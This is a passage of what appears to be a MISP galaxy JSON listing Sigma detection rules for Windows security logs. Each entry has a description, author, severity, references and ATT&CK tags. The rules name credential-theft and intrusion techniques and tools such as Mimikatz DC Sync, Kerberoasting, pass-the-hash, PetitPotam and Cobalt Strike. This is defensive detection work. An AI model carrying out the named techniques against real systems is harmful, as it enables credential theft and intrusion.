application.", "meta": { "author": "@SerkinValery", "creation_date": "2022/09/16", "falsepositive": [ "Unknown" ], "filename": "win_security_teams_suspicious_objectaccess.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_teams_suspicious_objectaccess.yml" ], "tags": [ "attack.credential_access", "attack.t1528" ] }, "related": [ { "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "25cde13e-8e20-4c29-b949-4e795b76f16f", "value": "Suspicious Teams Application Related ObjectAcess Event" }, { "description": "Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.", "meta": { "author": "@neu5ron", "creation_date": "2017/07/30", "falsepositive": [ "Unknown" ], "filename": "win_security_alert_enable_weak_encryption.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/", "https://adsecurity.org/?p=2053", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_enable_weak_encryption.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "f6de9536-0441-4b3f-a646-f4e00f300ffd", "value": "Weak Encryption Enabled and Kerberoast" }, { "description": "This rule triggers on user accounts that are added to the local Administrators group, which could be legitimate activity or a sign of privilege escalation activity", "meta": { "author": "Florian Roth", "creation_date": "2017/03/14", "falsepositive": [ "Legitimate administrative activity" ], "filename": "win_security_user_added_to_local_administrators.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_added_to_local_administrators.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1078", "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c265cf08-3f99-46c1-8d59-328247057d57", "value": "User Added to Local Administrators" }, { "description": "Detects the creation of a local hidden user account which should not happen for event ID 4720.", "meta": { "author": "Christian Burkard", "creation_date": "2021/05/03", "falsepositive": [ "Unknown" ], "filename": "win_security_hidden_user_creation.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1387743867663958021", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hidden_user_creation.yml" ], "tags": [ "attack.persistence", "attack.t1136.001" ] }, "related": [ { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7b449a5e-1db5-4dd0-a2dc-4e3a67282538", "value": "Hidden Local User Creation" }, { "description": "Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.", "meta": { "author": "Florian Roth", "creation_date": "2022/05/09", "falsepositive": [ "Legitimate used of encrypted ZIP files" ], "filename": "win_security_susp_opened_encrypted_zip_filename.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/sbousseaden/status/1523383197513379841", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_filename.yml" ], "tags": "No established tags" }, "uuid": "54f0434b-726f-48a1-b2aa-067df14516e4", "value": "Password Protected ZIP File Opened (Suspicious Filenames)" }, { "description": "Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).", "meta": { "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", "creation_date": "2020/08/06", "falsepositive": [ "Unknown" ], "filename": "win_security_smb_file_creation_admin_shares.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml", "https://securitydatasets.com/notebooks/small/windows/08_lateral_movement/SDWIN-200806015757.html?highlight=create%20file", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_smb_file_creation_admin_shares.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "b210394c-ba12-4f89-9117-44a2464b9511", "value": "SMB Create Remote File Admin Share" }, { "description": "Potential adversaries accessing the microphone and webcam in an endpoint.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/06/07", "falsepositive": [ "Unknown" ], "filename": "win_security_camera_microphone_access.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/duzvik/status/1269671601852813320", "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml" ], "tags": [ "attack.collection", "attack.t1123" ] }, "uuid": "8cd538a4-62d5-4e83-810b-12d41e428d6e", "value": "Processes Accessing the Microphone and Webcam" }, { "description": "Detect PetitPotam coerced authentication activity.", "meta": { "author": "Mauricio Velazco, Michael Haag", "creation_date": "2021/09/02", "falsepositive": [ "Unknown. Feedback welcomed." ], "filename": "win_security_petitpotam_network_share.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/topotam/PetitPotam", "https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_network_share.yml" ], "tags": [ "attack.credential_access", "attack.t1187" ] }, "related": [ { "dest-uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1ce8c8a3-2723-48ed-8246-906ac91061a6", "value": "Possible PetitPotam Coerce Authentication Attempt" }, { "description": "Detects scenarios where system auditing (ie: windows event log auditing) is disabled.\nThis may be used in a scenario where an entity would want to bypass local logging to evade detection when windows event logging is enabled and reviewed.\nAlso, it is recommended to turn off \"Local Group Policy Object Processing\" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as \"gpedit.msc\".\nPlease note, that disabling \"Local Group Policy Object Processing\" may cause an issue in scenarios of one off specific GPO modifications -- however it is recommended to perform these modifications in Active Directory anyways.\n", "meta": { "author": "@neu5ron", "creation_date": "2017/11/19", "falsepositive": [ "Unknown" ], "filename": "win_security_disable_event_logging.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.google.com/presentation/d/1dkrldTTlN3La-OjWtkWJBb4hVk6vfsSMBFBERs6R8zA/edit", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_logging.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "69aeb277-f15f-4d2d-b32a-55e883609563", "value": "Disabling Windows Event Auditing" }, { "description": "Detects access to a domain user from a non-machine account", "meta": { "author": "Maxime Thiebaut (@0xThiebaut)", "creation_date": "2020/03/30", "falsepositive": [ "Administrators configuring new users." ], "filename": "win_security_ad_user_enumeration.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", "https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all", "http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user_enumeration.yml" ], "tags": [ "attack.discovery", "attack.t1087.002" ] }, "uuid": "ab6bffca-beff-4baa-af11-6733f296d57a", "value": "AD User Enumeration" }, { "description": "Detects scenarios where one can control another users or computers account without having to use their credentials.", "meta": { "author": "@neu5ron", "creation_date": "2017/04/13", "falsepositive": [ "Unknown" ], "filename": "win_security_alert_ad_user_backdoors.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://msdn.microsoft.com/en-us/library/cc220234.aspx", "https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/", "https://adsecurity.org/?p=3466", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml" ], "tags": [ "attack.t1098", "attack.persistence" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "300bac00-e041-4ee2-9c36-e262656a6ecc", "value": "Active Directory User Backdoors" }, { "description": "Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.", "meta": { "author": "Roberto Rodriguez (source), Dominik Schaudel (rule)", "creation_date": "2018/02/12", "falsepositive": [ "Runas command-line tool using /netonly parameter" ], "filename": "win_security_overpass_the_hash.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://cyberwardog.blogspot.de/2017/04/chronicles-of-threat-hunter-hunting-for.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_overpass_the_hash.yml" ], "tags": [ "attack.lateral_movement", "attack.s0002", "attack.t1550.002" ] }, "uuid": "192a0330-c20b-4356-90b6-7b7049ae0b87", "value": "Successful Overpass the Hash Attempt" }, { "description": "Detects possible addition of shadow credentials to an active directory object.", "meta": { "author": "Nasreddine Bencherchali (rule), Elastic (idea)", "creation_date": "2022/10/17", "falsepositive": [ "Modifications in the msDS-KeyCredentialLink attribute can be done legitimately by the Azure AD Connect synchronization account or the ADFS service account. These accounts can be added as Exceptions. (From elastic FP section)" ], "filename": "win_security_susp_possible_shadow_credentials_added.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/", "https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html", "https://twitter.com/SBousseaden/status/1581300963650187264?", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_possible_shadow_credentials_added.yml" ], "tags": [ "attack.credential_access", "attack.t1556" ] }, "related": [ { "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f598ea0c-c25a-4f72-a219-50c44411c791", "value": "Possible Shadow Credentials Added" }, { "description": "Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host", "meta": { "author": "Thomas Patzke", "creation_date": "2017/06/14", "falsepositive": [ "Unknown" ], "filename": "win_security_mal_wceaux_dll.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_wceaux_dll.yml" ], "tags": [ "attack.credential_access", "attack.t1003", "attack.s0005" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1de68c67-af5c-4097-9c85-fe5578e09e67", "value": "WCE wceaux.dll Access" }, { "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", "meta": { "author": "Florian Roth, Wojciech Lesicki", "creation_date": "2021/05/26", "falsepositive": [ "Unknown" ], "filename": "win_security_cobaltstrike_service_installs.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", "https://www.sans.org/webcasts/119395", "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_cobaltstrike_service_installs.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "attack.lateral_movement", "attack.t1021.002", "attack.t1543.003", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d7a95147-145f-4678-b85d-d1ff4a3bb3f6", "value": "CobaltStrike Service Installations - Security" }, { "description": "Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287", "meta": { "author": "Florian Roth", "creation_date": "2021/12/22", "falsepositive": [ "Unknown" ], "filename": "win_security_samaccountname_spoofing_cve_2021_42287.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_samaccountname_spoofing_cve_2021_42287.yml" ], "tags": "No established tags" }, "uuid": "45eb2ae2-9aa2-4c3a-99a5-6e5077655466", "value": "Suspicious Computer Account Name Change CVE-2021-42287" }, { "description": "Addition of domains is seldom and should be verified for legitimacy.", "meta": { "author": "Thomas Patzke", "creation_date": "2019/12/03", "falsepositive": [ "Legitimate extension of domain structure" ], "filename": "win_security_susp_add_domain_trust.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_domain_trust.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0255a820-e564-4e40-af2b-6ac61160335c", "value": "Addition of Domain Trusts" }, { "description": "Detects Mimikatz DC sync security events", "meta": { "author": "Benjamin Delpy, Florian Roth, Scott Dermott, Sorina Ionescu", "creation_date": "2018/06/03", "falsepositive": [ "Valid DC Sync that is not covered by the filters; please report", "Local Domain Admin account used for Azure AD Connect" ], "filename": "win_security_dcsync.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662", "https://twitter.com/gentilkiwi/status/1003236624925413376", "https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcsync.yml" ], "tags": [ "attack.credential_access", "attack.s0002", "attack.t1003.006" ] }, "related": [ { "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "611eab06-a145-4dfa-a295-3ccc5c20f59a", "value": "Mimikatz DC Sync" }, { "description": "Detects failed logins with multiple disabled domain accounts from a single source system using the Kerberos protocol.", "meta": { "author": "Mauricio Velazco, frack113", "creation_date": "2021/06/01", "falsepositive": [ "Vulnerability scanners", "Misconfigured systems", "Remote administration tools", "VPN terminators", "Multiuser systems like Citrix server farms" ], "filename": "win_security_susp_failed_logons_single_source_kerberos2.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos2.yml" ], "tags": [ "attack.t1110.003", "attack.initial_access", "attack.privilege_escalation" ] }, "uuid": "4b6fe998-b69c-46d8-901b-13677c9fb663", "value": "Disabled Users Failing To Authenticate From Source Using Kerberos" }, { "description": "Detects failed logins with multiple valid domain accounts from a single source system using the NTLM protocol.", "meta": { "author": "Mauricio Velazco", "creation_date": "2021/06/01", "falsepositive": [ "Terminal servers", "Jump servers", "Other multiuser systems like Citrix server farms", "Workstations with frequently changing users" ], "filename": "win_security_susp_failed_logons_single_source_ntlm.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm.yml" ], "tags": [ "attack.t1110.003", "attack.initial_access", "attack.privilege_escalation" ] }, "uuid": "f88bab7f-b1f4-41bb-bdb1-4b8af35b0470", "value": "Valid Users Failing to Authenticate from Single Source Using NTLM" }, { "description": "This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.", "meta": { "author": "Florian Roth", "creation_date": "2017/02/19", "falsepositive": [ "User using a disabled account" ], "filename": "win_security_susp_failed_logon_reasons.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625", "https://twitter.com/SBousseaden/status/1101431884540710913", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_reasons.yml" ], "tags": [ "attack.persistence", "attack.defense_evasion", "attack.privilege_escalation", "attack.initial_access", "attack.t1078" ] }, "uuid": "9eb99343-d336-4020-a3cd-67f3819e68ee", "value": "Account Tampering - Suspicious Failed Logon Reasons" }, { "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", "meta": { "author": "Tim Rauch", "creation_date": "2022/09/15", "falsepositive": [ "Unknown" ], "filename": "win_security_service_installation_by_unusal_client.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1490608838701166596", "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_service_installation_by_unusal_client.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1543" ] }, "related": [ { "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c4e92a97-a9ff-4392-9d2d-7a4c642768ca", "value": "Service Installed By Unusual Client - Security" }, { "description": "Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.", "meta": { "author": "@neu5ron", "creation_date": "2017/07/30", "falsepositive": [ "Unknown" ], "filename": "win_security_alert_active_directory_user_control.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_active_directory_user_control.yml" ], "tags": [ "attack.persistence", "attack.t1098" ] }, "related": [ { "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "311b6ce2-7890-4383-a8c2-663a9f6b43cd", "value": "Enabled User Right in AD to Control User Objects" }, { "description": "Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool", "meta": { "author": "elhoim", "creation_date": "2022/09/09", "falsepositive": [ "Unknown" ], "filename": "win_security_susp_computer_name.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/malmoeb/status/1511760068743766026", "https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py", "https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_computer_name.yml" ], "tags": [ "cve.2021.42278", "cve.2021.42287", "attack.persistence", "attack.privilege_escalation", "attack.t1078" ] }, "uuid": "39698b3f-da92-4bc6-bfb5-645a98386e45", "value": "Win Susp Computer Name Containing Samtheadmin" }, { "description": "Detects update to a scheduled task event that contain suspicious keywords.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/05", "falsepositive": [ "Unknown" ], "filename": "win_security_susp_scheduled_task_update.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_scheduled_task_update.yml" ], "tags": [ "attack.execution", "attack.privilege_escalation", "attack.persistence", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "614cf376-6651-47c4-9dcc-6b9527f749f4", "value": "Suspicious Scheduled Task Update" }, { "description": "Detect remote login by Administrator user (depending on internal pattern).", "meta": { "author": "juju4", "creation_date": "2017/10/29", "falsepositive": [ "Legitimate administrative activity." ], "filename": "win_security_admin_rdp_login.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://car.mitre.org/wiki/CAR-2016-04-005", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_rdp_login.yml" ], "tags": [ "attack.lateral_movement", "attack.t1078.001", "attack.t1078.002", "attack.t1078.003", "car.2016-04-005" ] }, "related": [ { "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0f63e1ef-1eb9-4226-9d54-8927ca08520a", "value": "Admin User Remote Logon" }, { "description": "Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527", "meta": { "author": "INIT_6", "creation_date": "2021/07/02", "falsepositive": [ "Unknown" ], "filename": "win_security_exploit_cve_2021_1675_printspooler_security.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/INIT_3/status/1410662463641731075", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_exploit_cve_2021_1675_printspooler_security.yml" ], "tags": [ "attack.execution", "attack.t1569", "cve.2021.1675", "cve.2021.34527" ] }, "related": [ { "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8fe1c584-ee61-444b-be21-e9054b229694", "value": "CVE-2021-1675 Print Spooler Exploitation IPC Access" }, { "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", "creation_date": "2020/10/12", "falsepositive": [ "Unknown" ], "filename": "win_security_dcom_iertutil_dll_hijack.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009183000.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcom_iertutil_dll_hijack.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002", "attack.t1021.003" ] }, "related": [ { "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c39f0c81-7348-4965-ab27-2fde35a1b641", "value": "DCOM InternetExplorer.Application Iertutil DLL Hijack - Security" }, { "description": "Detects common NTLM brute force device names", "meta": { "author": "Jerry Shockley '@jsh0x'", "creation_date": "2022/02/02", "falsepositive": [ "Systems with names equal to the spoofed ones used by the brute force tools" ], "filename": "win_susp_ntlm_brute_force.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.varonis.com/blog/investigate-ntlm-brute-force", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_brute_force.yml" ], "tags": [ "attack.credential_access", "attack.t1110" ] }, "uuid": "9c8acf1a-cbf9-4db6-b63c-74baabe03e59", "value": "NTLM Brute Force" }, { "description": "Detects logons using NTLM, which could be caused by a legacy source or attackers", "meta": { "author": "Florian Roth", "creation_date": "2018/06/08", "falsepositive": [ "Legacy hosts" ], "filename": "win_susp_ntlm_auth.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/JohnLaTwC/status/1004895028995477505", "https://goo.gl/PsqrhT", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml" ], "tags": [ "attack.lateral_movement", "attack.t1550.002" ] }, "uuid": "98c3bcf1-56f2-49dc-9d8d-c66cf190238b", "value": "NTLM Logon" }, { "description": "Detects logons using NTLM to hosts that are potentially not part of the domain.", "meta": { "author": "James Pemberton", "creation_date": "2020/05/22", "falsepositive": [ "Host connections to valid domains, exclude these.", "Host connections not using host FQDN.", "Host connections to external legitimate domains." ], "filename": "win_susp_ntlm_rdp.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "n/a", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_rdp.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ce5678bb-b9aa-4fb5-be4b-e57f686256ad", "value": "Potential Remote Desktop Connection to Non-Domain Host" }, { "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", "meta": { "author": "Florian Roth, wagga", "creation_date": "2020/02/29", "falsepositive": [ "Unknown" ], "filename": "win_vul_cve_2020_0688.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://cyberpolygon.com/materials/okhota-na-ataki-ms-exchange-chast-2-cve-2020-0688-cve-2020-16875-cve-2021-24085/", "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_vul_cve_2020_0688.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d6266bf5-935e-4661-b477-78772735a7cb", "value": "CVE-2020-0688 Exploitation via Eventlog" }, { "description": "Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/09/01", "falsepositive": [ "Legitimate Atera agent installation" ], "filename": "win_software_atera_rmm_agent_install.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.advintel.io/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_software_atera_rmm_agent_install.yml" ], "tags": [ "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "87261fb2-69d0-42fe-b9de-88c6b5f65a43", "value": "Atera Agent Installation" }, { "description": "Detects backup catalog deletions", "meta": { "author": "Florian Roth (rule), Tom U. @c_APT_ure (collection)", "creation_date": "2017/05/12", "falsepositive": [ "Unknown" ], "filename": "win_susp_backup_delete.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", "https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_backup_delete.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.004" ] }, "related": [ { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9703792d-fd9a-456d-a672-ff92efe4806a", "value": "Backup Catalog Deleted" }, { "description": "Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379", "meta": { "author": "Florian Roth", "creation_date": "2021/11/22", "falsepositive": [ "Other MSI packages for which your admins have used that name" ], "filename": "win_vul_cve_2021_41379.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/klinix5/InstallerFileTakeOver", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_vul_cve_2021_41379.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": 